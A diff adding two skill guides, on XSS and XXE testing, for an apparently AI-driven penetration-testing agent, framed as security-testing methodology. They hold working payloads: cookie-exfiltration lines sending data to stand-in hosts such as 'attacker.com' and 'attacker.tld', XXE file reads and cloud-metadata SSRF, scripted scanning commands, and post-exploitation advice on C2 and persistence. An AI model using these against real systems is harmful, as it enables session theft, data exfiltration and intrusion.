  291. package/skills/offensive/airecon-fork/tools-reporting/SKILL.md +47 -0
  292. package/skills/offensive/airecon-fork/tools-scripting/SKILL.md +1939 -0
  293. package/skills/offensive/airecon-fork/tools-semgrep/SKILL.md +202 -0
  294. package/skills/offensive/airecon-fork/tools-source-audit/SKILL.md +308 -0
  295. package/skills/offensive/airecon-fork/tools-sqlmap/SKILL.md +137 -0
  296. package/skills/offensive/airecon-fork/tools-tool-catalog/SKILL.md +320 -0
  297. package/skills/offensive/airecon-fork/tools-wapiti/SKILL.md +293 -0
  298. package/skills/offensive/airecon-fork/vulnerabilities-2fa-bypass/SKILL.md +219 -0
  299. package/skills/offensive/airecon-fork/vulnerabilities-account-takeover/SKILL.md +223 -0
  300. package/skills/offensive/airecon-fork/vulnerabilities-api-schema-exposure/SKILL.md +849 -0
  301. package/skills/offensive/airecon-fork/vulnerabilities-api-testing/SKILL.md +278 -0
  302. package/skills/offensive/airecon-fork/vulnerabilities-auth-workflow/SKILL.md +252 -0
  303. package/skills/offensive/airecon-fork/vulnerabilities-authentication-jwt/SKILL.md +158 -0
  304. package/skills/offensive/airecon-fork/vulnerabilities-bfla/SKILL.md +156 -0
  305. package/skills/offensive/airecon-fork/vulnerabilities-blind-xss/SKILL.md +111 -0
  306. package/skills/offensive/airecon-fork/vulnerabilities-business-logic/SKILL.md +313 -0
  307. package/skills/offensive/airecon-fork/vulnerabilities-cors/SKILL.md +242 -0
  308. package/skills/offensive/airecon-fork/vulnerabilities-crlf-injection/SKILL.md +146 -0
  309. package/skills/offensive/airecon-fork/vulnerabilities-csrf/SKILL.md +200 -0
  310. package/skills/offensive/airecon-fork/vulnerabilities-csrf-advanced-bypass/SKILL.md +536 -0
  311. package/skills/offensive/airecon-fork/vulnerabilities-deserialization/SKILL.md +363 -0
  312. package/skills/offensive/airecon-fork/vulnerabilities-dom-based-vulnerabilities/SKILL.md +105 -0
  313. package/skills/offensive/airecon-fork/vulnerabilities-exploitation/SKILL.md +286 -0
  314. package/skills/offensive/airecon-fork/vulnerabilities-grpc/SKILL.md +123 -0
  315. package/skills/offensive/airecon-fork/vulnerabilities-host-header-injection/SKILL.md +169 -0
  316. package/skills/offensive/airecon-fork/vulnerabilities-http-smuggling/SKILL.md +411 -0
  317. package/skills/offensive/airecon-fork/vulnerabilities-idor/SKILL.md +705 -0
  318. package/skills/offensive/airecon-fork/vulnerabilities-information-disclosure/SKILL.md +867 -0
  319. package/skills/offensive/airecon-fork/vulnerabilities-insecure-file-uploads/SKILL.md +190 -0
  320. package/skills/offensive/airecon-fork/vulnerabilities-jwt-attacks/SKILL.md +270 -0
  321. package/skills/offensive/airecon-fork/vulnerabilities-kubernetes/SKILL.md +252 -0
  322. package/skills/offensive/airecon-fork/vulnerabilities-mass-assignment/SKILL.md +788 -0
  323. package/skills/offensive/airecon-fork/vulnerabilities-nosql-injection/SKILL.md +204 -0
  324. package/skills/offensive/airecon-fork/vulnerabilities-oauth-misconfig/SKILL.md +220 -0
  325. package/skills/offensive/airecon-fork/vulnerabilities-oauth-saml/SKILL.md +163 -0
  326. package/skills/offensive/airecon-fork/vulnerabilities-open-redirect/SKILL.md +167 -0
  327. package/skills/offensive/airecon-fork/vulnerabilities-password-reset-poisoning/SKILL.md +66 -0
  328. package/skills/offensive/airecon-fork/vulnerabilities-path-traversal/SKILL.md +192 -0
  329. package/skills/offensive/airecon-fork/vulnerabilities-privilege-escalation/SKILL.md +320 -0
  330. package/skills/offensive/airecon-fork/vulnerabilities-prototype-pollution/SKILL.md +242 -0
  331. package/skills/offensive/airecon-fork/vulnerabilities-race-conditions/SKILL.md +192 -0
  332. package/skills/offensive/airecon-fork/vulnerabilities-rce/SKILL.md +240 -0
  333. package/skills/offensive/airecon-fork/vulnerabilities-sensitive-file-pii-exposure/SKILL.md +589 -0
  334. package/skills/offensive/airecon-fork/vulnerabilities-spring4shell/SKILL.md +86 -0
  335. package/skills/offensive/airecon-fork/vulnerabilities-sql-injection/SKILL.md +313 -0
  336. package/skills/offensive/airecon-fork/vulnerabilities-ssrf/SKILL.md +183 -0
  337. package/skills/offensive/airecon-fork/vulnerabilities-ssti/SKILL.md +344 -0
  338. package/skills/offensive/airecon-fork/vulnerabilities-subdomain-takeover/SKILL.md +160 -0
  339. package/skills/offensive/airecon-fork/vulnerabilities-supply-chain/SKILL.md +125 -0
  340. package/skills/offensive/airecon-fork/vulnerabilities-unhandled-exception-differential/SKILL.md +742 -0
  341. package/skills/offensive/airecon-fork/vulnerabilities-waf-detection/SKILL.md +90 -0
  342. package/skills/offensive/airecon-fork/vulnerabilities-web-cache-poisoning/SKILL.md +233 -0
  343. package/skills/offensive/airecon-fork/vulnerabilities-websocket/SKILL.md +180 -0
  344. package/skills/offensive/airecon-fork/vulnerabilities-xss/SKILL.md +316 -0
  345. package/skills/offensive/airecon-fork/vulnerabilities-xxe/SKILL.md +222 -0
@@ -0,0 +1,316 @@
1
+ <!-- aegis-local: forked 2026-05-04 from pikpikcu/airecon@9a21453459d87eefb012ea355c79b593d0d3c0cc (MIT-licensed); attribution preserved, see ATTRIBUTION.md -->
2
+
3
+ ---
4
+ name: xss
5
+ description: XSS testing covering reflected, stored, and DOM-based vectors with CSP bypass techniques
6
+ ---
7
+
8
+ # XSS
9
+
10
+ Cross-site scripting persists because context, parser, and framework edges are complex. Treat every user-influenced string as untrusted until it is strictly encoded for the exact sink and guarded by runtime policy (CSP/Trusted Types).
11
+
12
+ ## Attack Surface
13
+
14
+ **Types**
15
+ - Reflected, stored, and DOM-based XSS across web/mobile/desktop shells
16
+
17
+ **Contexts**
18
+ - HTML, attribute, URL, JS, CSS, SVG/MathML, Markdown, PDF
19
+
20
+ **Frameworks**
21
+ - React/Vue/Angular/Svelte sinks, template engines, SSR/ISR
22
+
23
+ **Defenses to Bypass**
24
+ - CSP/Trusted Types, DOMPurify, framework auto-escaping
25
+
26
+ ## Injection Points
27
+
28
+ **Server Render**
29
+ - Templates (Jinja/EJS/Handlebars), SSR frameworks, email/PDF renderers
30
+
31
+ **Client Render**
32
+ - `innerHTML`/`outerHTML`/`insertAdjacentHTML`, template literals
33
+ - `dangerouslySetInnerHTML`, `v-html`, `$sce.trustAsHtml`, Svelte `{@html}`
34
+
35
+ **URL/DOM**
36
+ - `location.hash`/`search`, `document.referrer`, base href, `data-*` attributes
37
+
38
+ **Events/Handlers**
39
+ - `onerror`/`onload`/`onfocus`/`onclick` and `javascript:` URL handlers
40
+
41
+ **Cross-Context**
42
+ - postMessage payloads, WebSocket messages, local/sessionStorage, IndexedDB
43
+
44
+ **File/Metadata**
45
+ - Image/SVG/XML names and EXIF, office documents processed server/client
46
+
47
+ ## Context Encoding Rules
48
+
49
+ - **HTML text**: encode `< > & " '`
50
+ - **Attribute value**: encode `" ' < > &` and ensure attribute quoted; avoid unquoted attributes
51
+ - **URL/JS URL**: encode and validate scheme (allowlist https/mailto/tel); disallow javascript/data
52
+ - **JS string**: escape quotes, backslashes, newlines; prefer `JSON.stringify`
53
+ - **CSS**: avoid injecting into style; sanitize property names/values; beware `url()` and `expression()`
54
+ - **SVG/MathML**: treat as active content; many tags execute via onload or animation events
55
+
56
+ ## Key Vulnerabilities
57
+
58
+ ### DOM XSS
59
+
60
+ **Sources**
61
+ - `location.*` (hash/search), `document.referrer`, postMessage, storage, service worker messages
62
+
63
+ **Sinks**
64
+ - `innerHTML`/`outerHTML`/`insertAdjacentHTML`, `document.write`
65
+ - `setAttribute`, `setTimeout`/`setInterval` with strings
66
+ - `eval`/`Function`, `new Worker` with blob URLs
67
+
68
+ **Vulnerable Pattern**
69
+ ```javascript
70
+ const q = new URLSearchParams(location.search).get('q');
71
+ results.innerHTML = `<li>${q}</li>`;
72
+ ```
73
+ Exploit: `?q=<img src=x onerror=fetch('//x.tld/'+document.domain)>`
74
+
75
+ ### Mutation XSS
76
+
77
+ Leverage parser repairs to morph safe-looking markup into executable code (e.g., noscript, malformed tags):
78
+ ```html
79
+ <noscript><p title="</noscript><img src=x onerror=alert(1)>
80
+ <form><button formaction=javascript:alert(1)>
81
+ ```
82
+
83
+ ### Template Injection
84
+
85
+ Server or client templates evaluating expressions (AngularJS legacy, Handlebars helpers, lodash templates):
86
+ ```
87
+ {{constructor.constructor('fetch(`//x.tld?c=`+document.cookie)')()}}
88
+ ```
89
+
90
+ ### CSP Bypass
91
+
92
+ - Weak policies: missing nonces/hashes, wildcards, `data:` `blob:` allowed, inline events allowed
93
+ - Script gadgets: JSONP endpoints, libraries exposing function constructors
94
+ - Import maps or modulepreload lax policies
95
+ - Base tag injection to retarget relative script URLs
96
+ - Dynamic module import with allowed origins
97
+
98
+ ### Trusted Types Bypass
99
+
100
+ - Custom policies returning unsanitized strings; abuse policy whitelists
101
+ - Sinks not covered by Trusted Types (CSS, URL handlers) and pivot via gadgets
102
+
103
+ ## Polyglot Payloads
104
+
105
+ Keep a compact set tuned per context:
106
+ - **HTML node**: `<svg onload=alert(1)>`
107
+ - **Attr quoted**: `" autofocus onfocus=alert(1) x="`
108
+ - **Attr unquoted**: `onmouseover=alert(1)`
109
+ - **JS string**: `"-alert(1)-"`
110
+ - **URL**: `javascript:alert(1)`
111
+
112
+ ## Framework-Specific
113
+
114
+ ### React
115
+
116
+ - Primary sink: `dangerouslySetInnerHTML`
117
+ - Secondary: setting event handlers or URLs from untrusted input
118
+ - Bypass patterns: unsanitized HTML through libraries; custom renderers using innerHTML
119
+
120
+ ### Vue
121
+
122
+ - Sinks: `v-html` and dynamic attribute bindings
123
+ - SSR hydration mismatches can re-interpret content
124
+
125
+ ### Angular
126
+
127
+ - Legacy expression injection (pre-1.6)
128
+ - `$sce` trust APIs misused to whitelist attacker content
129
+
130
+ ### Svelte
131
+
132
+ - Sinks: `{@html}` and dynamic attributes
133
+
134
+ ### Markdown/Richtext
135
+
136
+ - Renderers often allow HTML passthrough; plugins may re-enable raw HTML
137
+ - Sanitize post-render; forbid inline HTML or restrict to safe whitelist
138
+
139
+ ## Special Contexts
140
+
141
+ ### Email
142
+
143
+ - Most clients strip scripts but allow CSS/remote content
144
+ - Use CSS/URL tricks only if relevant; avoid assuming JS execution
145
+
146
+ ### PDF and Docs
147
+
148
+ - PDF engines may execute JS in annotations or links
149
+ - Test `javascript:` in links and submit actions
150
+
151
+ ### File Uploads
152
+
153
+ - SVG/HTML uploads served with `text/html` or `image/svg+xml` can execute inline
154
+ - Verify content-type and `Content-Disposition: attachment`
155
+ - Mixed MIME and sniffing bypasses; ensure `X-Content-Type-Options: nosniff`
156
+
157
+ ## Post-Exploitation
158
+
159
+ - Session/token exfiltration: prefer fetch/XHR over image beacons for reliability
160
+ - Real-time control: WebSocket C2 with strict command set
161
+ - Persistence: service worker registration; localStorage/script gadget re-injection
162
+ - Impact: role hijack, CSRF chaining, internal port scan via fetch, credential phishing overlays
163
+
164
+ ## Testing Methodology
165
+
166
+ 1. **Identify sources** - URL/query/hash/referrer, postMessage, storage, WebSocket, server JSON
167
+ 2. **Trace to sinks** - Map data flow from source to sink
168
+ 3. **Classify context** - HTML node, attribute, URL, script block, event handler, JS eval-like, CSS, SVG
169
+ 4. **Assess defenses** - Output encoding, sanitizer, CSP, Trusted Types, DOMPurify config
170
+ 5. **Craft payloads** - Minimal payloads per context with encoding/whitespace/casing variants
171
+ 6. **Multi-channel** - Test across REST, GraphQL, WebSocket, SSE, service workers
172
+
173
+ ## Validation
174
+
175
+ 1. Provide minimal payload and context (sink type) with before/after DOM or network evidence
176
+ 2. Demonstrate cross-browser execution where relevant or explain parser-specific behavior
177
+ 3. Show bypass of stated defenses (sanitizer settings, CSP/Trusted Types) with proof
178
+ 4. Quantify impact beyond alert: data accessed, action performed, persistence achieved
179
+
180
+ ## False Positives
181
+
182
+ - Reflected content safely encoded in the exact context
183
+ - CSP with nonces/hashes and no inline/event handlers
184
+ - Trusted Types enforced on sinks; DOMPurify in strict mode with URI allowlists
185
+ - Scriptable contexts disabled (no HTML pass-through, safe URL schemes enforced)
186
+
187
+ ## Impact
188
+
189
+ - Session hijacking and credential theft
190
+ - Account takeover via token exfiltration
191
+ - CSRF chaining for state-changing actions
192
+ - Malware distribution and phishing
193
+ - Persistent compromise via service workers
194
+
195
+ ## Pro Tips
196
+
197
+ 1. Start with context classification, not payload brute force
198
+ 2. Use DOM instrumentation to log sink usage; it reveals unexpected flows
199
+ 3. Keep a small, curated payload set per context and iterate with encodings
200
+ 4. Validate defenses by configuration inspection and negative tests
201
+ 5. Prefer impact-driven PoCs (exfiltration, CSRF chain) over alert boxes
202
+ 6. Treat SVG/MathML as first-class active content; test separately
203
+ 7. Re-run tests under different transports and render paths (SSR vs CSR vs hydration)
204
+ 8. Test CSP/Trusted Types as features: attempt to violate policy and record the violation reports
205
+
206
+ ## Concrete Testing Workflow (Step-by-Step Commands)
207
+
208
+ This is the mandatory execution sequence. Do NOT skip steps. Do NOT run scanners before manual reflection check.
209
+
210
+ ### PHASE A — Candidate Discovery (from enumerated URLs)
211
+
212
+ STEP A1: Extract XSS candidates using gf patterns from collected URLs:
213
+ cat output/urls_all_deduped.txt | gf xss | sort -u > output/xss_candidates.txt
214
+ cat output/historical_urls.txt | gf xss | sort -u >> output/xss_candidates.txt
215
+ wc -l output/xss_candidates.txt
216
+ # If 0 candidates: check if URL collection ran — katana/waybackurls/gau must run first.
217
+
218
+ STEP A2: For each candidate URL, manually confirm reflection before scanning:
219
+ # Replace VALUE with the actual param value in the URL
220
+ curl -sk "http://target.com/search?q=CANARY_XSS_TEST_12345" | grep -i "CANARY_XSS_TEST_12345"
221
+ # If grep returns output: parameter reflects. Proceed to PHASE B.
222
+ # If no output: not reflected — skip this parameter.
223
+
224
+ ### PHASE B — Automated XSS Scanning (only after reflection confirmed)
225
+
226
+ STEP B1: Run dalfox through Caido on the candidate list:
227
+ cat output/xss_candidates.txt | dalfox pipe \
228
+ --proxy http://127.0.0.1:48080 \
229
+ -o output/dalfox_results.txt 2>&1
230
+ # Full dalfox guide: read dalfox.md
231
+
232
+ STEP B2: For authenticated endpoints (requires session cookie):
233
+ dalfox url "http://target.com/profile?name=test" \
234
+ --cookie "session=$(cat output/session_cookie.txt)" \
235
+ --proxy http://127.0.0.1:48080 \
236
+ -o output/dalfox_auth.txt
237
+
238
+ STEP B3: Check Caido history for payloads that got interesting responses:
239
+ curl -sL -X POST http://127.0.0.1:48080/graphql \
240
+ -H "Content-Type: application/json" \
241
+ -H "Authorization: Bearer $TOKEN" \
242
+ -d '{"query":"{ requests(filter: {host: {eq: \"TARGET_HOST\"}, resp: {code: {lt: 500}}}) { edges { node { id method path response { statusCode length } } } } }"}'
243
+
244
+ ### PHASE C — DOM XSS Analysis (for JS-heavy apps)
245
+
246
+ STEP C1: Identify JavaScript sources from page source:
247
+ browser_action(action="goto", url="http://target.com/page")
248
+ browser_action(action="view_source", tab_id="main")
249
+ # Search for: location.hash, URLSearchParams, document.referrer → innerHTML/eval flows
250
+
251
+ STEP C2: Trace data flow with sink instrumentation:
252
+ browser_action(action="execute_js", js_code="""
253
+ ['innerHTML','outerHTML'].forEach(prop => {
254
+ const desc = Object.getOwnPropertyDescriptor(Element.prototype, prop);
255
+ if (!desc) return;
256
+ Object.defineProperty(Element.prototype, prop, {
257
+ set: function(v) { if(v && /<[a-z]/i.test(v)) console.warn('[SINK '+prop+']', v.substring(0,150)); return desc.set.call(this,v); }
258
+ });
259
+ });
260
+ """, tab_id="main")
261
+ browser_action(action="goto", url="http://target.com/page#<img src=x onerror=alert(1)>")
262
+ browser_action(action="get_console_logs", tab_id="main")
263
+ # [SINK innerHTML] in console = confirmed DOM XSS path
264
+
265
+ STEP C3: Run dalfox DOM-focused scan on discovered endpoint:
266
+ dalfox url "http://target.com/page?ref=test" \
267
+ --skip-bav \
268
+ --only-discovery \
269
+ --proxy http://127.0.0.1:48080
270
+
271
+ ### PHASE D — Manual Verification and PoC (for every dalfox [V] VULN result)
272
+
273
+ STEP D1: Reproduce in headless browser:
274
+ browser_action(action="goto", url="<exact VULN URL from dalfox>")
275
+ browser_action(action="get_console_logs", tab_id="main")
276
+ # Confirm execution — look for alert or console output
277
+
278
+ STEP D2: Classify the context (determines what encoding was bypassed):
279
+ browser_action(action="view_source", tab_id="main")
280
+ # Is payload in: HTML node, attribute value, JS string, URL handler, event attribute?
281
+ # Context determines what encoding defence was missing.
282
+
283
+ STEP D3: Craft impact-demonstrating PoC (not just alert(1)):
284
+ # Session hijack:
285
+ <img src=x onerror="fetch('https://attacker.com/log?c='+document.cookie)">
286
+ # Demonstrate: did the cookie actually exfiltrate? Use interactsh-client as receiver:
287
+ interactsh-client -n 1 -o output/interactsh_xss.txt &
288
+ # Replace attacker.com with your interactsh URL
289
+
290
+ STEP D4: Only call create_vulnerability_report after:
291
+ - Browser confirms execution (not just reflection)
292
+ - Impact PoC demonstrated (cookie/token exfiltrated OR significant action taken)
293
+ - Exact URL, parameter, payload, context, and impact documented
294
+
295
+ ### Context-Specific Payload Selection
296
+
297
+ HTML node context (input appears between tags):
298
+ <svg onload=alert(1)>
299
+ <img src=x onerror=alert(1)>
300
+
301
+ HTML attribute context (input appears inside an attribute value):
302
+ Quoted: " onmouseover=alert(1) x="
303
+ Unquoted: onmouseover=alert(1)
304
+
305
+ JavaScript string context (input appears inside a JS variable):
306
+ "-alert(1)-"
307
+ ';alert(1)//
308
+
309
+ URL/href context:
310
+ javascript:alert(1)
311
+
312
+ Check with Caido: intercept the request and inspect which context the payload lands in.
313
+
314
+ ## Summary
315
+
316
+ Context + sink decide execution. Encode for the exact context, verify at runtime with CSP/Trusted Types, and validate every alternative render path. Small payloads with strong evidence beat payload catalogs.
@@ -0,0 +1,222 @@
1
+ <!-- aegis-local: forked 2026-05-04 from pikpikcu/airecon@9a21453459d87eefb012ea355c79b593d0d3c0cc (MIT-licensed); attribution preserved, see ATTRIBUTION.md -->
2
+
3
+ ---
4
+ name: xxe
5
+ description: XXE testing for external entity injection, file disclosure, and SSRF via XML parsers
6
+ ---
7
+
8
+ # XXE
9
+
10
+ XML External Entity injection is a parser-level failure that enables local file reads, SSRF to internal control planes, denial-of-service via entity expansion, and in some stacks, code execution through XInclude/XSLT or language-specific wrappers. Treat every XML input as untrusted until the parser is proven hardened.
11
+
12
+ ## Attack Surface
13
+
14
+ **Capabilities**
15
+ - File disclosure: read server files and configuration
16
+ - SSRF: reach metadata services, internal admin panels, service ports
17
+ - DoS: entity expansion (billion laughs), external resource amplification
18
+
19
+ **Injection Surfaces**
20
+ - REST/SOAP/SAML/XML-RPC, file uploads (SVG, Office)
21
+ - PDF generators, build/report pipelines, config importers
22
+
23
+ **Transclusion**
24
+ - XInclude and XSLT `document()` loading external resources
25
+
26
+ ## High-Value Targets
27
+
28
+ **File Uploads**
29
+ - SVG/MathML, Office (docx/xlsx/ods/odt), XML-based archives
30
+ - Android/iOS plist, project config imports
31
+
32
+ **Protocols**
33
+ - SOAP/XML-RPC/WebDAV/SAML (ACS endpoints)
34
+ - RSS/Atom feeds, server-side renderers and converters
35
+
36
+ **Hidden Paths**
37
+ - Parameters: "xml", "upload", "import", "transform", "xslt", "xsl", "xinclude"
38
+ - Processing-instruction headers
39
+
40
+ ## Detection Channels
41
+
42
+ ### Direct
43
+
44
+ - Inline disclosure of entity content in the HTTP response, transformed output, or error pages
45
+
46
+ ### Error-Based
47
+
48
+ - Coerce parser errors that leak path fragments or file content via interpolated messages
49
+
50
+ ### OAST
51
+
52
+ - Blind XXE via parameter entities and external DTDs; confirm with DNS/HTTP callbacks
53
+ - Encode data into request paths/parameters to exfiltrate small secrets (hostnames, tokens)
54
+
55
+ ### Timing
56
+
57
+ - Fetch slow or unroutable resources to produce measurable latency differences (connect vs read timeouts)
58
+
59
+ ## Core Payloads
60
+
61
+ ### Local File
62
+
63
+ ```xml
64
+ <!DOCTYPE x [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
65
+ <r>&xxe;</r>
66
+ ```
67
+
68
+ ```xml
69
+ <!DOCTYPE x [<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini">]>
70
+ <r>&xxe;</r>
71
+ ```
72
+
73
+ ### SSRF
74
+
75
+ ```xml
76
+ <!DOCTYPE x [<!ENTITY xxe SYSTEM "http://127.0.0.1:2375/version">]>
77
+ <r>&xxe;</r>
78
+ ```
79
+
80
+ ```xml
81
+ <!DOCTYPE x [<!ENTITY xxe SYSTEM "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI">]>
82
+ <r>&xxe;</r>
83
+ ```
84
+
85
+ ### OOB Parameter Entity
86
+
87
+ ```xml
88
+ <!DOCTYPE x [<!ENTITY % dtd SYSTEM "http://attacker.tld/evil.dtd"> %dtd;]>
89
+ ```
90
+
91
+ evil.dtd:
92
+ ```xml
93
+ <!ENTITY % f SYSTEM "file:///etc/hostname">
94
+ <!ENTITY % e "<!ENTITY &#x25; exfil SYSTEM 'http://%f;.attacker.tld/'>">
95
+ %e; %exfil;
96
+ ```
97
+
98
+ ## Key Vulnerabilities
99
+
100
+ ### Parameter Entities
101
+
102
+ - Use parameter entities in the DTD subset to define secondary entities that exfiltrate content
103
+ - Works even when general entities are sanitized in the XML tree
104
+
105
+ ### XInclude
106
+
107
+ ```xml
108
+ <root xmlns:xi="http://www.w3.org/2001/XInclude">
109
+ <xi:include parse="text" href="file:///etc/passwd"/>
110
+ </root>
111
+ ```
112
+
113
+ Effective where entity resolution is blocked but XInclude remains enabled in the pipeline.
114
+
115
+ ### XSLT Document
116
+
117
+ XSLT processors can fetch external resources via `document()`:
118
+
119
+ ```xml
120
+ <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
121
+ <xsl:template match="/">
122
+ <xsl:copy-of select="document('file:///etc/passwd')"/>
123
+ </xsl:template>
124
+ </xsl:stylesheet>
125
+ ```
126
+
127
+ Targets: transform endpoints, reporting engines (XSLT/Jasper/FOP), xml-stylesheet PI consumers.
128
+
129
+ ### Protocol Wrappers
130
+
131
+ - Java: `jar:`, `netdoc:`
132
+ - PHP: `php://filter`, `expect://` (when module enabled)
133
+ - Gopher: craft raw requests to Redis/FCGI when client allows non-HTTP schemes
134
+
135
+ ## Bypass Techniques
136
+
137
+ **Encoding Variants**
138
+ - UTF-16/UTF-7 declarations, mixed newlines
139
+ - CDATA and comments to evade naive filters
140
+
141
+ **DOCTYPE Variants**
142
+ - PUBLIC vs SYSTEM, mixed case `<!DoCtYpE>`
143
+ - Internal vs external subsets, multi-DOCTYPE edge handling
144
+
145
+ **Network Controls**
146
+ - If network blocked but filesystem readable, pivot to local file disclosure
147
+ - If files blocked but network open, pivot to SSRF/OAST
148
+
149
+ ## Special Contexts
150
+
151
+ ### SOAP
152
+
153
+ ```xml
154
+ <soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
155
+ <soap:Body>
156
+ <!DOCTYPE d [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
157
+ <d>&xxe;</d>
158
+ </soap:Body>
159
+ </soap:Envelope>
160
+ ```
161
+
162
+ ### SAML
163
+
164
+ - Assertions are XML-signed, but upstream XML parsers prior to signature verification may still process entities/XInclude
165
+ - Test ACS endpoints with minimal probes
166
+
167
+ ### SVG and Renderers
168
+
169
+ - Inline SVG and server-side SVG→PNG/PDF renderers process XML
170
+ - Attempt local file reads via entities/XInclude
171
+
172
+ ### Office Docs
173
+
174
+ - OOXML (docx/xlsx/pptx) are ZIPs containing XML
175
+ - Insert payloads into document.xml, rels, or drawing XML and repackage
176
+
177
+ ## Testing Methodology
178
+
179
+ 1. **Inventory consumers** - Endpoints, upload parsers, background jobs, CLI tools, converters, third-party SDKs
180
+ 2. **Capability probes** - Does parser accept DOCTYPE? Resolve external entities? Allow network access? Support XInclude/XSLT?
181
+ 3. **Establish oracle** - Error shape, length/ETag diffs, OAST callbacks
182
+ 4. **Escalate** - Targeted file/SSRF payloads
183
+ 5. **Validate parity** - Same parser options must hold across REST, SOAP, SAML, file uploads, and background jobs
184
+
185
+ ## Validation
186
+
187
+ 1. Provide a minimal payload proving parser capability (DOCTYPE/XInclude/XSLT)
188
+ 2. Demonstrate controlled access (file path or internal URL) with reproducible evidence
189
+ 3. Confirm blind channels with OAST and correlate to the triggering request
190
+ 4. Show cross-channel consistency (e.g., same behavior in upload and SOAP paths)
191
+ 5. Bound impact: exact files/data reached or internal targets proven
192
+
193
+ ## False Positives
194
+
195
+ - DOCTYPE accepted but entities not resolved and no transclusion reachable
196
+ - Filters or sandboxes that emit entity strings literally (no IO performed)
197
+ - Mocks/stubs that simulate success without network/file access
198
+ - XML processed only client-side (no server parse)
199
+
200
+ ## Impact
201
+
202
+ - Disclosure of credentials/keys/configs, code, and environment secrets
203
+ - Access to cloud metadata/token services and internal admin panels
204
+ - Denial of service via entity expansion or slow external resources
205
+ - Code execution via XSLT/expect:// in insecure stacks
206
+
207
+ ## Pro Tips
208
+
209
+ 1. Prefer OAST first; it is the quietest confirmation in production-like paths
210
+ 2. When content is sanitized, use error-based and length/ETag diffs
211
+ 3. Probe XInclude/XSLT; they often remain enabled after entity resolution is disabled
212
+ 4. Aim SSRF at internal well-known ports (kubelet, Docker, Redis, metadata) before public hosts
213
+ 5. In uploads, repackage OOXML/SVG rather than standalone XML; many apps parse these implicitly
214
+ 6. Keep payloads minimal; avoid noisy billion-laughs unless specifically testing DoS
215
+ 7. Test background processors separately; they often use different parser settings
216
+ 8. Validate parser options in code/config; do not rely on WAFs to block DOCTYPE
217
+ 9. Combine with path traversal and deserialization where XML touches downstream systems
218
+ 10. Document exact parser behavior per stack; defenses must match real libraries and flags
219
+
220
+ ## Summary
221
+
222
+ XXE is eliminated by hardening parsers: forbid DOCTYPE, disable external entity resolution, and disable network access for XML processors and transformers across every code path.